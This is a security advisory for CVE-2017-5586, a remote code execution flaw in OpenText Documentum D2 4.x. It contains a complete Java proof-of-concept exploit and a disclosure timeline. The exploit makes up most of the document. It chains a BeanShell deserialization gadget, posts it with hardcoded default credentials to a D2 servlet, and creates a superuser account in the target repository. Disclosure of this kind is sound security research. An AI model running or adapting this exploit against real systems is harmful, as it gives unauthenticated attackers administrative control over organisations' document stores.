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OpenText Documentum D2 4.x Remote Code Execution

Posted on 15 February 2017

CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution

Proof of concept:

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import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;

import bsh.Interpreter;
import bsh.XThis;

import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;

/**
* @author Andrey B. Panfilov <andrey@panfilov.tel>
*
* Code below creates superuser account in underlying Documentum repository
* usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
*
*/
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {

public static void main(String[] args) throws Exception {
String url = args[0];
String docbase = args[1];
String userName = args[2];
String payload = "compare(Object foo, Object bar) {new Interpreter()"
+ ".eval("try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
+ ".getSessionRegistry().getAllSessions().iterator().next();"
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
+ "\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
+ "set user_password='%s', set user_privileges=16\");query.execute(session, 3);} "
+ "catch (Exception e) {}; return 0;");}";
Interpreter interpreter = new Interpreter();
interpreter.eval(String.format(payload, userName, userName, userName));
XThis x = new XThis(interpreter.getNameSpace(), interpreter);
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);

// actually we may send priorityQueue directly, but I want to hide
// deserialization stuff from stacktrace :)
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
Constructor ctor = cls.getConstructor();
ctor.setAccessible(true);

Object valueHolder = ctor.newInstance();
setFieldValue(valueHolder, "m_value", priorityQueue);
List valueHolders = new ArrayList();
valueHolders.add(valueHolder);

TypedData data = new TypedData();
setFieldValue(data, "m_valueHolders", valueHolders);

ContentStoreResult result = new ContentStoreResult();
setFieldValue(result, "m_attrs", data);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Character c : "SAVED".toCharArray()) {
dos.write(c);
}
dos.write((byte) 124);
dos.flush();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
baos = new ByteArrayOutputStream();
dos = new DataOutputStream(baos);
dos.writeInt(bytes.length);
dos.write(bytes);
dos.flush();
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
conn.getOutputStream().write(baos.toByteArray());
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
InputStream stream = conn.getInputStream();
byte[] buff = new byte[1024];
int count = 0;
while ((count = stream.read(buff)) != -1) {
System.out.write(buff, 0, count);
}
}

public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000"
+ "&_username=dmc_wdk_preferences_owner&_password=webtop";
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

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Disclosure timeline:

2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure

__
Regards,
Andrey B. Panfilov

 

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